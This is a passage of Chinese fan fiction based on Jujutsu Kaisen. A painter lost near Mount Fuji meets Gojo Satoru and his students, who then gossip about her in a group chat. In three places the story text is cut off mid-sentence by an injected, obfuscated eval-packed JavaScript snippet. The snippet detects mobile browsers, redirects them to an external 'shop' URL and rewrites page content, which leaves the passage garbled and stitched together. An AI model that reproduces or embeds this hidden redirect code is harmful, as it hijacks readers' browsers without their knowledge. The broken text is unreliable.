结月被他笑得有点脸红,也知道自己可能猜得过于狗血了,嘟囔道:“谁让你说得那么神秘嘛……那既然搞得这么僵硬,最近是怎么和好的?总得有个契机吧?” 笑声消散,夏油杰的神色重新归于平静,但那平静之下,似乎涌动着更深的暗流。他没有立刻回答,视线落在杯中沉浮的茶叶上,仿佛在看什么遥远的景象。 过了好一会儿,他才轻声说:“因为两个人在一些契机下,发现了一些事情。” 他的语气有些飘忽。 “也因为,现在算是某种意义上的共同利益体。”他抬起眼,目光深邃,“所以,达成了某种……微妙的共识。” 又是这种模棱两可、充满谜团的说法!结月最受不了杰这种“夏油式谜语人”时刻,她刚想蹙起眉头,轻声抱怨一句“杰你说话总是这样……” 一块小巧精致的抹茶蕨饼,被一双骨节分明、手指修长的手,轻轻递到了她的唇边。 夏油杰不知何时用小碟子取了一块点心,正神色自然地看着她,仿佛这投喂的动作再寻常不过。他身上清冷的檀香混着点心微苦的茶香,悄然靠近。 “尝尝看,味道应该不错。”他温声道,成功堵住了她即将出口的抱怨。 结月下意识地张口,微凉甜糯的点心在舌尖化开,带着抹茶特有的清苦回甘。她鼓着腮帮子慢慢咀嚼,像只被顺毛撸暂时忘了闹腾的猫。 谜语人·夏油杰静静地看着她吃完,才像是漫不经心地,抛出了一个看似随意的问题,若无其事地转移着话题:“说起来,结月最近……还有想到之前那个相亲对象吗?” 他语气平稳,仿佛只是随口提起一个无关紧要的话题。 结月咀嚼的动作慢了下来。她垂下眼睫,看着碟子里剩下的半块蕨饼,沉默了。 包厢里再次安静下来,只有远处隐隐约约的、被极度隔音材料削弱了的流水声。 过了一会儿,她才抬起眼,目光清亮地看向夏油杰,不答反问:“如果我说没有,杰,你会信吗?” 夏油杰与她对视着,细长的眼眸里映着她的身影,也映着包厢内昏暖的光。他唇角勾起一个极淡、却仿佛洞悉一切的弧度。 “我信不信,并不重要,结月。”他的声音很轻,像一片羽毛扫过心尖,“重要的是,你自己的心,信不信。” 这句话像一把精准的钥匙,轻轻叩开了她心底某个一直虚掩着的门。 伪装起来的轻松和刻意的遗忘,在这一刻显得苍白无力。 她轻轻叹了口气,肩膀微微垮下,露出一点难得的、真实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她盯着面前的女人,像是凝固了,就这样站在那里,甚至连呼吸都停滞了一瞬,那双总是冷静、甚至带着点旁观者漠然的眼睛,此刻睁大了一些,瞳孔深处是无法掩饰的、近乎惊骇的震动。 这张脸……! 不可能。 绝对不应该出现在这里。 那个名字,那个人,连同与之相关的一切,早已被划入不可触及的禁区,是连他们都心照不宣、几乎从不主动提及的……旧日的影子。 无数模糊的片段和沉重的感觉猛地攥住了硝子的心脏。一种混杂着荒谬、恍然、以及一丝冰冷寒意的东西,顺着脊椎爬升。 朝日奈结月抽了张纸巾擦干了脸上的水珠,感受到了身边这位陌生的漂亮女士过于灼热的视线。 她习惯了被人注视,无论是欣赏、迷恋还是嫉妒。但旁边这位陌生女士的视线,太过不同。那不是惊艳或好奇,而是一种极其复杂的眼神,强烈到让人无法忽略。 结月有些疑惑地转过头,看向身旁僵立的硝子。她微微偏头,露出一个礼貌的、带着些许询问意味的笑容,声音轻柔:“这位小姐,请问……我们,之前认识吗?” 轻柔的嗓音,礼貌的询问,将硝子猛地从剧烈的心理震荡中拽回现实。 “不。”硝子的声音有些低,但很清晰,她弯腰,动作自然地捡起地上那根已经熄灭的烟,扔进旁边的垃圾桶,仿佛那只是一个无关紧要的小失误,“不认识。” 她顿了顿,目光再次快速扫过结月的脸:“只是……想起了一个很久没见的人。”她补充了一句,语气平淡,却像在触碰某个尘封的盒子。 “是吗?”结月眨了眨眼,觉得对方的神情有些奇怪,但也没有深究。 14.第 14 章 ——什么都画不出来。 除了一片绚烂冰冷的蓝色,璀璨夺目到让她每次想起心脏都仿佛冻结的蓝色,像是透过失色燃烧的玻璃眺望遥不可及的星云—— 朝日奈结月怔愣地看着自己最后一张亚麻布,被不受控制的手再一次涂抹上了预想之外的蓝色,长长地叹了口气。 展览的主题是《冬季》,所以她本来想画的是隆冬清晨被雾霭笼罩的灰色天空。 灰沉沉、雾蒙蒙的天空,那才是她预想中该落在画布上的颜色——而不是这种……光彩夺目、璀璨到刺眼、似乎在燃烧却又格外冷凝的无垠的蓝。 她仿佛被他的眼睛诅咒了。 自从那天喝醉后鬼使神差地吻了上去以后,五条悟的那双眼睛,和那张五官线条无懈可击的漂亮面孔就像洗不掉的纹身,纹在了她身体里无数根纤细又敏感的神经末梢上。 她揉了揉画得酸痛的手腕,有气无力的把油画布随意揉成一团,再把第无数次被‘五条悟蓝’污染的调色盘扔进了水槽里,看了一眼天光大亮的窗外,开始发愁。 画展马上就要到交稿日了。她的初稿连一撇一捺都还没有成型。 怎么办?到底画什么?她被蓝色彻底污染的脑子到底还能画什么…… ——不如去富士山的山中湖吧。 这个骤然萌芽的念头,忽然生根发芽。 画不了天空,那就画山画水吧。 被这个突发奇想的念头彻底魇住的结月,就这样通宵一宿画稿未果后,一口闷掉了一杯黑咖啡,就这样背着画板跳上了开往富士山的高速巴士。 写生最开始是令她喜出望外的顺利。 近距离观摩眺望仿佛天空倒映的山中湖,一下子把她不受控制的手拉回到了正轨,心满意足地画出来了藏青色的天空下,富士山白雪皑皑的山顶,和那片蓝的仿若透明的湖水。 她本该就在这里收笔的。按照她以往的作画习惯,以及已经一天一夜没有合过眼的疲惫全靠着咖啡强撑的脆弱神经,在出了潦草初稿后便会心满意足打道回府回家再慢慢勾勒细节慢慢填色。 但是这一天,她没有。 很奇怪。 心底像是被远处的什么声音召唤着、吸引着、拉扯着——催促着她去本栖湖再去写生一张什么。来都来了,这就打道回府也太说不过去了。 打不到车,也没有巴士可以到,要么徒步,要么自己骑自行车。 那种迫切的想要在本栖湖再去写生一张的心情像是给她下了什么蛊,让她连一秒犹豫的时间都没有,就这样果断的租下一辆自行车,朝着下一个目的地出发。 然而她还是个高估了自己,低估了距离。 明明地图上显示的是骑行最多一个半小时就抵达—— 已经一个半小时了她还没有看见目的地半点踪影。 甚至由于秋季的落日比盛夏要越发得早,随着时间接近了下午四点半,越发稀薄的空气里被太阳照耀的暖意迅速被抽离,和一寸寸蔓延而上的黑暗一起。 越是慌乱着急,越是找不到路—— 怎么办怎么办怎么办,如果今天迷路了彻底下不了山回不了家她要在这里过夜怎么办。水也没有带够,食物也没有一口,保暖的东西更是不够。 恐慌像冰冷的手攥紧了她的心脏,连握着自行车把手的指尖都开始肌肉痉挛般的颤抖。 然后就像没头的苍蝇一样离主干道越来越远,鼻息间浸满了森林里潮湿的泥土气息。 她迷路在了富士山深处看不见尽头的一片郁郁葱葱的森林里。 打开手机—— 还剩下百分之四十电量的手机连最后脆弱跳动的唯一一格信号,也彻底消失了,屏幕右上角只剩下让她绝望的SOS。 她跳下车,双手撑着膝盖喘着气,就是这个时候忽然察觉到了有什么不对劲。 太安静了。 秋季的蝉鸣、鸟叫、风拂过树叶的沙沙声……所有的这一切隶属于大自然,和森林密不可分的声音,从某一秒钟开始忽然消失不见。 空气里有什么东西,包括氧气本身,在被迅速地抽离,蒸发殆尽。 预警危险的第六感就是这个时候彻底拉响了警报,身体里的每一个细胞都发出了那种尖锐的叫嚣——危险!快跑! 然而已经来不及了—— 就在她刚刚深吸了一口气,还来不及迈出甚至一步的下一秒钟—— 轰!!! 不是声音。不只是声音。 是颜色。 ——璀璨的、刺眼的、苍蓝色。 轰然炸开仿佛小行核弹——毁灭性的、压倒性的、几乎让视网膜刺痛的苍蓝——它从森林深处骤然爆开。 没有预兆。 没有轨迹。 像天空忽然坠落。 像恒星在地表炸裂。 那一瞬间整个世界的色彩都被吞没了,只剩下一种近乎暴力的蓝。 草木被撕开,仿佛脆弱的纸张一样被暴力蛮横地彻底粉碎成灰烬,就连生长百年的粗壮的树干被某种看不见的力量瞬间压扁、卷起、撕裂,连带着泥土和岩石一起被拖向那片蓝色中心。 脚下这片土地仿佛地震般剧烈摇动着。 就连空气似乎都在这一秒里彻底塌陷。 她的耳膜嗡地一声—— 这是什么啊? 小行星撞击地球? 陨石掉落在了富士山? M国在霓虹做秘密军事实验新的毁灭性武器? 如果今天她就交代在这里了养母和杰都会很难过的吧。她的葬礼会有谁去呢……真可惜她还是没有来得及找回失去的记忆。 无数纷杂的念头在短短的几秒钟纷至沓来,她如坠冰窖浑身僵硬的立在原地,甚至连遗书都开始在脑子里拟出来了第一行。 直到她听见了一阵脚步声—— 轻快的、仿佛在谁家后花园散步那样悠然自得的脚步声,和这一片刚刚遭受了毁灭性重创的景象格格不入的脚步声,从面前仅剩的未被波及到的树木丛林里传来。 朝日奈结月下意识的后退了一步。 这个时间点……从那里出来的人……怎么想都不可能是正常人吧?? M国军官?特务?外星人?? 就在她调动了全身的力气准备骑上自行车能有多远跑多远的时候—— “所以等下顺便去买一盒信玄饼给惠带回去嘛。” “……我看老师是您自己想吃了吧……还有刚才……我们的善后报告……” “哎呀呀,所以说控制力道很重要嘛,悠仁。这次报告就交给年度优秀学生忧太了哦。保证没有问题的吧?” 那语调,那漫不经心又带着点戏谑的熟悉腔调,像一道惊雷劈开了结月被恐惧冻结的思维。 她难以置信地、极其缓慢地转动僵硬的脖颈,望向声音来处。 三个身影从倒伏碎裂的林木残骸间,如同午后散步般悠然走出。 为首的男人,一身利落飒爽的漆黑高专制服,身量极高,黑色的眼罩遮住了上半张脸,只露出线条优美的下颌和一抹她绝不会认错、此刻却显得如此不合时宜的散漫笑意—— 她的相亲对象。 那个让她再也无法画出‘天空’的诅咒了她的男人—— 居然是五条悟。 而他身后,跟着两个穿着类似风格制服的少年。一个面色略显苍白,背着用布条严密包裹的长条状物,眼神还残留着未褪的凛冽;另一个粉色头发,脸上带着新鲜擦伤,却好奇地东张西望。 他们从那个刚刚发生过堪比灾难片场景的地方走出来,而自己相亲对象的神态轻松得像是下楼去买牛奶顺便去散了步。 结月的呼吸不可置信地睁大眼睛,开始怀疑自己是不是想他的时候太多以至于出现了幻觉。 他怎么会在这里? 这种地方? 这种时间? 震惊、恐惧、以及一种近乎荒唐的“为什么总是在狼狈的时候遇见他”的失序感同时涌上来,让她一时间连脚步都无法挪动。 五条悟显然也在同一时间看见了她。 他的脚步几不可察地顿了一下。 那张永远笑得游刃有余的面孔,表情在某一瞬间,在看到她的那一瞬间,仿佛卡顿般出现了一瞬的空白。 然而她还来不及去观察他的表情,下一秒,他唇角的弧度扬起,语气自然得像是家楼下超市一点也不意外的偶遇,甚至带着点夸张的愉快:“哇,结月酱?这也太巧了吧。在这种地方都能遇见你,我是不是该去买张彩票?” 他身后的两个少年明显僵了一下。 一个下意识握紧了背后那被布条包裹的长条物,另一个则睁大眼睛,在结月和五条悟之间来回看了两眼,表情迅速从茫然滑向紧绷。 乙骨忧太没有立刻回应。 他的指尖还在微不可察地发抖。他比任何人都清楚—— 刚才那片林地里,他们遭遇的是一只已经口吐人言、不知道被什么人指示的准特级咒灵。 离特级还差一步之遥,但是已经和一级咒灵有着天堑之别。 那已经不是他们能正面应对的等级。至少,在没有以完全态解放里香的情况下... 可五条老师只是站在那里。 没有展开领域。 甚至连脚步都没有移动。 那只准特级咒灵还在喋喋不休,“我只是开始。漏壶大人和花御大人就快——” 而五条悟漫不经心抬起手,像是失去了所有耐心,又像是被眼前的这个准特级咒灵粗哑的声音太难听,吵到了他的耳朵,连那句阴森的警告都懒得听完。 下一秒—— 苍蓝色的毁灭性力量在他指尖成型。 不是爆发——而是极度克制后的压缩。 空间在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188796|196902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那一瞬间被强行拉扯、折叠,空气发出刺耳的悲鸣,准特级咒灵连完整的形态都来不及维持,便被那股绝对的引力拖拽、碾碎,仿佛从一开始就不该存在于这个坐标之中。 一切发生得太快。在一个眨眼之间。 等林间重新安静下来,只剩下一片被粗暴清空的空地,以及空气中尚未散尽的、淡淡的苍蓝残光。 而五条老师已经轻快悠闲地双手插兜,语气轻松,仿佛刚才救下的不是他们的性命,而只是顺手清理了一点无关紧要的街头垃圾。 乙骨忧太和虎杖悠仁这两个最近不知道为什么,突然开始被老师一起集训的师兄师弟对视了一眼,纷纷在彼此眼里看到了对老师的绝对崇拜和敬仰——不愧是现代最强咒术师!五条老师赛高! 谁都没有想到在这种地方,居然还会遇见一个——普通人? “……悟君。” 结月终于找回自己的声音,却干涩得不像是自己的,“你……怎么会在这里?” 她的目光不受控制地越过他,落向那片仍在冒着余热的空地。 他身后的两个少年明显也愣住了,看着突然出现的、似乎明显不是咒术师的漂亮姐姐,又看看自家老师,表情瞬间变得微妙而紧绷,迅速交换了一个不知所措的眼神。 “五、五条老师……这位是?”粉发少年下意识压低了声音问,眼神里充满了疑惑和一丝警惕。 五条悟转过身,用着一如往常的轻快散漫的语气介绍:“啊,是老师的相亲对象哦。朝日奈小姐。” 然后他笑眯眯地转向脸色依旧苍白、眼神混乱的结月,语气轻快得仿佛刚才那毁灭性的一幕从未发生,“今天是学校的秋季郊游活动。结月酱也是来这里欣赏风景的吗?” 夜……夜景?在这刚刚被不明力量清出一片空地的恐怖森林里? 结月的目光机械地从五条悟笑意盎然的脸,移到他身后那片还在飘散着灰烬和蓝光的“空地”,再落到那两个的确是穿着高中校服的少年身上——虽然一个带着“凶器”,一个挂着彩。 “我今天来写生,本来是在山中湖那边,但是突然想去本栖湖再看看,然后就……” 每说一个字,那种“又在他面前丢脸了”的羞耻感就更深一分。为什么每次遇见他,她不是醉酒失态,就是身陷窘境? 五条悟笑意盈盈地低头俯望她,自然而然地接过她断掉的那句话:“然后就迷路了?” 结月窘迫地点了点头,恨不得找个地缝钻进去。 明明这么久没见了。一条短信都没有。见面的她还是如此狼狈,而他居然一点尴尬的情绪都不见得有。自然的就好像……他们昨天才说了晚安再见。 “正好!”五条悟一拍手,笑容灿烂,“我们这边……嗯,‘校外郊游’也刚好告一段落啦。一起顺路吃晚饭吧结月酱。” 他说“顺路”两个字时,语气自然得仿佛这里是东京银座的某个街口。 结月还在混乱中,目光不由自主地又飘向五条悟身边那位黑发少年背后那显眼的长条包裹。 她终于还是没有忍住,疑惑几乎脱口而出:“那个……同学,你背着的……是剑吗?校外郊游……需要带这个?” 空气瞬间安静。 乙骨忧太身体一僵,额角似乎有冷汗渗出,再次看向五条悟。 五条悟脸上的笑容丝毫未变,甚至更加“亲切”地凝视着自己的学生,仿佛在鼓励他自由发挥。 乙骨深吸一口气,如同背诵一篇拙劣的课文:“是、是道具!舞台剧道具!我们学校……文化祭!对,文化祭要排演时代剧!我演武士!带着道具……培养感觉!” 他语速飞快,说完立刻补充,“是、是安全的道具刀!没开刃!” 虎杖悠仁在一旁猛点头,表情真挚得夸张:“没错!我们可热爱校园文化生活了!” 舞台剧?武士?在这不知道是被什么恐怖的陨石力量犁了一遍的森林里培养感觉? 结月觉得自己的常识已经摇摇欲坠。但比起这个,五条悟脸上那副眼罩在此时此地显得格外突兀,一个许久前闪过脑海的、荒诞的念头,在这种极度超现实的情境下,再次不受控制地溜出嘴边: “所以……悟君,”她指了指自己的眼睛,又指了指他的眼罩,语气带着茫然的探究,“你戴这个……也是在为舞台剧准备吗?扮演……盲人角色?比如……盲眼的剑术老师?或者……那种温柔的盲人大哥哥?” 所以上一次他们见面的时候,他也戴着眼罩,因为排练完刚过来? “噗——!” “咳!咳咳咳!!!” 虎杖悠仁猛地被空气呛到,爆出一阵惊天动地的咳嗽,整张脸涨得通红,弯下腰去。 乙骨忧太则是瞬间低下头,抬手抵住嘴唇,肩膀剧烈地抖动起来,只能发出极力压抑的、闷闷的“吭哧”声,耳朵尖都红透了。 五条悟:“……” 15.第 15 章 “哇——结月酱的想象力,还真是有点可怕呢?” 他拖着懒洋洋的尾音,像是在夸人,又像是在调侃。 “不过很遗憾,猜错了哦。”五条悟漫不经心地抬了抬手指,指腹轻点眼罩边缘,笑得毫无破绽,“只是单纯眼睛比较敏感啦。强光会不舒服,所以稍微保护一下而已。”语气轻得像羽毛,却格外有信服力。 虎杖和乙骨此刻如同两尊雕塑,连呼吸都放轻了,脸上写满了“我们什么都没听到,什么都不会想,老师世界第一强大完美”的忠诚。 结月看着他们三人之间这诡异又默契的气氛,再看向五条悟那无懈可击的“普通人教师”笑容,虽然总觉得哪里不太对,但是似乎又很合理? 甚至还开始隐隐有些心疼他了。 是眼睛基因变异的缘故才怕强光吗?所以去到哪里都要戴着眼罩和墨镜。明明那么好看的眼睛,却不得不遮起来……隔着眼罩和墨镜,这个世界在他眼里还会是一样的五彩缤纷吗? 糟糕。越想越心疼他了怎么办。 每次一遇见五条悟,朝日奈结月便觉得自己越发不像自己。毕竟她从来不是什么同情心泛滥的好人。 “……原来是这样。”她放弃了思考,疲惫地叹了口气,“那……麻烦悟君了。我实在叫不到车……” ——为什么荒郊野岭会有轿车候在走路距离范围? 朝日奈结月甚至没有去深究这个问题。 老师带学生出来郊游,有校车等着接送不是很正常的事情吗? 嗯……越想越合理了呢。 可能悟君也和她一样最近运气格外不好吧,就连校外郊游都能遇到这种事情。 “说起来……你们刚才在那里,有看到什么吗?那股撕裂了大半个森林的蓝光,是M国新投放的什么秘密武器吗?” 结月是真的好奇。 两个高中生对视了一眼,又露出了一副闻到了鲱鱼罐头般难以言喻的表情。 “我也不知道诶。”五条悟真诚又无辜地摊了摊手,转头看向了自己的两个学生:“忧太、悠仁,你们有看到刚才发生了什么吗?” 虎杖悠仁愣了一瞬,而后把脑袋摇成了骰子:“不知道啊老师!!可能是……额,什么地震引发了地底天然气之类的??” 乙骨忧太向自己的学弟投去了感激的一瞥,附和着连连点头:“虎杖同学说的言之有理,我也这么觉得!” 好像也很有道理的样子? 朝日奈结月悄悄抬起头,小心翼翼朝自己的相亲对象看了过去—— 他仿佛精准预测了她视线落下的轨迹。在她扬起眼睫,想要安安静静地去揣摩他的表情时,他就这样刚好在这一秒钟低下头,笑意盈盈的也看向了她的方位。 虽然隔着眼罩,她看不见他的眼睛。但是‘深陷’在他视线里的那种感觉却太过强烈。 她慌乱地别开脸,错开了视线。 每当他这般认真地看着她,她都会有种被烫伤的错觉,如果目光也有温度的话。 她开始好奇,是不是每一个被他注视着的人都会有这样的感觉—— 仿佛什么冰冷燃烧的穿透了皮囊,那些深藏于心底的暗疮、灵魂深处被遗忘的伤疤……都在那样的视线下曝晒于天光下,一寸寸延烧。 *** 车厢内,引擎发出低沉的嗡鸣。 五条悟坐在副驾驶,姿态放松,似乎正闭目养神。后座上,乙骨忧太和虎杖悠仁占据了中间和右侧的位置。 而结月本人,此刻正坐在副驾驶后方的位置,微微侧头望着窗外飞速倒退的昏暗树林,似乎还没完全从刚才的震惊和窘迫中缓过神来,只留给两个少年一个纤细优美的侧影轮廓。 车内气氛有种微妙的安静,只有导航系统偶尔发出的柔和提示音。 虎杖悠仁偷偷瞥了一眼前排似乎睡着的五条悟,又飞快地瞄了一眼身旁那位安静得过分、却莫名让人移不开眼的女性,手指在解锁手机的试探边缘跃跃欲试。 乙骨忧太则坐得笔直,目光直视前方,但紧绷的嘴角和微微抿起的唇线泄露了他内心的不平静。 终于,虎杖忍不住了。他极其缓慢、做贼似的从口袋里掏出手机,屏幕亮度调到最低,手指在膝盖上方盲打。一条消息悄无声息地滑入名为“今天五条老师正常了吗(没有)”的群聊。 虎杖悠仁: 【紧急情报!!!我和乙骨前辈刚刚经历了可能是一生中最魔幻的十分钟!!!】 消息发出几秒,一片死寂。正当虎杖怀疑是不是深山老林信号又断了时,手机连续震动起来。 钉崎野蔷薇: 【?说人话。又遇上特级了?还是五条老师又把任务地点炸了?】 伏黑惠: 【定位发我。】 禅院真希: 【悠仁,你这种语气开场,通常意味着麻烦。以及,忧太呢?还活着吗?】 【说起来,那个眼罩笨蛋最近为什么总是安排你和忧太一起出任务?明明你们都不是一个年级的?[神经病出没.jpg]】 狗卷棘: 【鲑鱼???】 胖达: 【展开说说!胖达好奇!是不是又有五条老师的糗事可以听了?】 虎杖深吸一口气,手指翻飞。 虎杖悠仁: 【不是特级!也不是炸山!是……是五条老师!我们本来在山里袱除咒灵。一级,已解决,乙骨前辈超帅!然后莫名涌现了一只口吐人言的准特级咒灵……还好五条老师在!但是“苍”的动静稍微大了那么一点点……】 乙骨忧太: 【……虎杖同学,那个“一点点”可能需要修正。以及,重点不是这个。】 乙骨终于也加入了讨论。 钉崎野蔷薇: 【所以重点是?宿傩又出来了?你俩被他抛在深山老林里找不到路了?】 虎杖悠仁: 【不是!!!重点是我们从树林里出来的时候!!!撞见了一个超级——超级——无敌漂亮的、迷路的大姐姐!!!】 【是真的!超级好看!!!像画里走出来的人一样!!!中森明菜那一类,气质超级好!还背着画板!好像是个画家完全不是咒术师!】 伏黑惠: 【……所以?出任务不小心遇到需要帮助的普通市民,然后呢?】 禅院真希: 【悠仁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192995|196902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦擦口水。说重点。】 虎杖悠仁: 【重点就是!!!五条老师认识她!!!而且叫她“结月酱”!!!语气超熟!!!】 【然后!!!最魔幻的来了!!!五条老师瞬间切换模式!开始扮演“亲切的普通高中老师”!跟我们说是在“校外郊游”!还让我们跟大姐姐解释乙骨学长背的是舞台剧道具!!!】 敲字的虎杖悠仁被迫重温崩溃憋笑的那一刻钟,清了清嗓子又开始想“咳”。 【乙骨前辈被迫演武士!!!我被迫演热爱校园文化的好学生!!!】 群聊沉默了三秒。 钉崎野蔷薇: 【?????????】 【五条悟?亲切?普通高中老师???】 【我是不是没睡醒?还是你们集体中了咒灵的幻术?】 【[地铁老爷爷看手机.jpg]】 狗卷棘: 【木鱼花!!!】 胖达: 【信息量过大……胖达的处理器需要冷却一下……所以,那位“结月酱”小姐,全名是?】 乙骨忧太: 【朝日奈结月小姐。五条老师是这么介绍的。老师似乎……确实与她相识。她的出现,不在计划内。】 虎杖悠仁: 【而且!而且!那位朝日奈小姐!她还问五条老师,戴眼罩是不是在扮演“盲人剑客”或者“盲人大哥哥”!!!!】 钉崎野蔷薇: 【噗哈哈哈哈哈哈哈哈哈哈哈哈哈哈!!!!!!】 【盲!人!大!哥!哥!!!!!!】 【救命我要笑死了!!!!!!五条悟?!盲人大哥哥????这是什么世纪冷笑话!!!】 【[疯狂笑到捶地.jpg]】 禅院真希: 【[默默保存聊天记录.jpg]好,今日份的快乐源泉有了。感谢悠仁,感谢忧太,你们立功了。】 狗卷棘: 【鲑鱼子!!![笑到打滚.jpg]】 胖达: 【哈哈哈哈!胖达可以想象悟当时的表情了!一定超级精彩!!!所以呢所以呢?悟怎么回答的?】 虎杖悠仁: 【五条老师他……笑容凝固了大概零点一秒,然后笑得特别灿烂地说“只是眼睛怕光”。但我跟乙骨前辈当时差点憋出内伤!感觉回去要加训了……[瑟瑟发抖.jpg]】 乙骨忧太: 【……虎杖同学,保守估计,明天体能课强度可能会上调百分之五十。理论课小测范围或许也会增加。】 伏黑惠: 【[冷静喝茶.jpg]意料之中。所以现在呢?你们在哪里?老师送那位朝日奈小姐回家?】 虎杖悠仁: 【没有!老师说“顺路一起吃晚饭”!我们现在正在去吃饭的路上!!!好像是去河口湖附近一家店?】 群聊暂时安静下来,但一股暗流汹涌的、名为“围观五条老师罕见形态”的兴奋感,已然传递开来。 虎杖收起手机,和乙骨交换了一个既紧张又充满期待的眼神。 今晚这顿饭,恐怕会吃得格外“热闹”。 16.第 16 章 “呐,结月酱。” 五条悟懒洋洋地枕着放在脑袋后的双手,没有转过头,声音却带着散漫的笑意,慢悠悠地拉长了语调:“那天晚上——” 正在手机里激情直播的虎杖和本就心虚的乙骨精准捕捉关键词,默契的‘唰的’抬头看向副驾座的老师,然后掩耳盗铃的齐齐看向右侧窗外,一脸两耳不闻窗外事的正经好学生模样。 ……不要再让她想起来仿佛排卵期第一天没见过男人似的那个社死晚上了! 朝日奈结月缓缓扯出一抹僵硬的微笑:“那天晚上十分感谢悟君的及时救场。” 她迅速接过他的话,摆出一副‘我真的什么都没有对你做’的礼貌疏离语气第N次道谢。 ……她宁愿当时只是吻了吻他的唇。第三次见面就亲了他眼睛还舔了睫毛这种事情怎么想怎么过分啊啊啊。 向来镇静自若·自认对什么都不为所动的结月再一次被那种脚趾扣地的尴尬笼罩。 “及时救场?” 他轻轻笑了一声,语气拖得很长,“结月酱原来是这么定义那天晚上的啊~” 五条悟语气依旧轻快,即使看不见他此刻的脸她都能想象出来他此刻笑吟吟的样子。 “可是人家的外套还在你家欸?私立高中定制外套哦,超——极贵欸。” 刺啦—— 那位叫伊地知的先生骤不及防踩了急刹车。 “好好开车啦伊地知。”五条悟轻描淡写地扫了可怜的辅助监督一眼,一脸无辜,笑意不减。 后座那两个虽然纯洁·但是脑洞很大的好学生不知道想到了什么画面,表情管理失败地愕然看了一眼副驾座的老师,又看了一眼此刻连耳垂都在泛红的漂亮姐姐,默契地掏手机。手指敲打屏幕的速度一路火花带闪电。 虎杖悠仁:【又吃到大瓜了!!!!救命SOS信息量好大!!!!!!】 乙骨忧太:【等等……虎杖同学,有没有可能是我们想多了?】 朝日奈结月深吸一口气:“外套……我已经干洗好了,会找个时间拿给悟君的。” 野蔷薇:【想多了?想多了什么?】 乙骨忧太:【虎杖同学,冷静。可能只是……老师送朝日奈小姐回家时,因为天气冷,借给她披了一下?】 虎杖悠仁:【可是如果只是披一下的话姐姐为什么要拿去干洗啊?!】 钉崎野蔷薇:【哈?!乙骨前辈,你听听这像五条老师会做的事吗?!那个‘老子最强’会贴心到借外套给女孩子?!这比真希学姐突然爱上裙子还不靠谱!】 禅院真希:【?野蔷薇,我还在群里。以及,我赞同。需要干洗外套只有一种情况。[推眼镜分析.jpg]】 伏黑惠:【……】 狗卷棘:【鲑鱼子!!!】 胖达:【胖达的数据库分析显示,‘外套遗留’在异性家中的经典场景,百分之九十八与‘过夜’、‘匆忙离开’、‘事后遗忘’等关键词关联!胖达好奇!他们进行到哪一步了?!】 钉崎野蔷薇:【[兴奋到搓手.jpg]关键是‘那天晚上’!事后干洗的外套!】 虎杖悠仁:【会不会……已经……那个了?!所以外套才……[石化震惊裂开.jpg]】 乙骨忧太:【虎杖同学,请停止你危险且缺乏证据的想象……我们应该相信老师的人品……】 钉崎野蔷薇:【人品?!五条悟有那种东西吗?!我现在只关心两个问题!第一,他们做防护措施了吗?!第二,万一搞出人命——呸,是搞出小小五条怎么办?!高专能报销奶粉钱吗?!】 并不知道旁边那两个一脸乖巧的高中男生和他们的同窗此刻已经在群里聊起来了她和五条悟一夜几次有没有戴套,有没有可能已经揣上包子这种暴言,初吻还在的朝日奈小姐竭力试图稳住自己矜贵清冷的美女画家形象。 “忧太,悠仁。”每次五条悟一开口,车上所有人包括正在开车的那位伊地知先生,都瞬间胆颤心惊。 突然被五条老师慢悠悠开口唤了自己的名字,虎杖悠仁和乙骨忧太登时挺直了背脊,用着比往常还要恭敬的表情看向前方副驾。 五条悟一只手臂搭在车后背,侧过身笑意轻快的瞥了自己两个学生一眼,虽然依旧戴着眼罩,但是被五条老师所注视的感觉着实无法被忽略。 虎杖攅紧手机,背挺得更直了。 “如果被老师发现你们偷偷向其他同学们说坏话,明天‘作·业’翻倍哦。”他笑意盈盈的话一出口,两位得意门生当场露出一副‘世界要末日了’的绝望表情。 坏话? 对高中生一无所知的结月困惑地看了一眼旁边两个明明看起来无比乖巧的小天使。 在一阵死寂的沉默后,那位背着舞台剧道具的白衣少年开口了。 “所以,那天晚上,老师和朝日奈小姐...”乙骨紧张的用手指轻轻抠着膝盖上那块布料,被群里众人托付重任而不得以开口问道。 五条悟什么多余的话也没说,只是用过于可爱的语气叫了声她的名字:“结月酱?” 莫名和这个人的大脑连接上了一样,结月默契了然地开口:“超绅士的哦,你们五条老师~” 她学着他的语气说话。 两个乖学生表情惊恐地瞄了她一眼,仿佛她被什么奇怪的鬼魂附体了一样。 “其实没有开玩笑呢。你们老师其实真的,特别好。” 她说完那句“特别好”,自己先愣了一下。 她其实都没有刻意遣词造句,夸他的话就下意识说出来了——真到不像她平日会对谁说出口的那种“好”。 “那天我正在被一个讨厌的追求者纠缠。然后……嗯,有些唐突的给你们老师打了通电话。其实根本没有想到他会接,更没有想到他会出现。” “但是他居然真的就那么恰好的、及时的出现了,像那种电视剧里从天而降的男主角一样,把我从讨厌追求者的纠缠中救了出来。所以——” 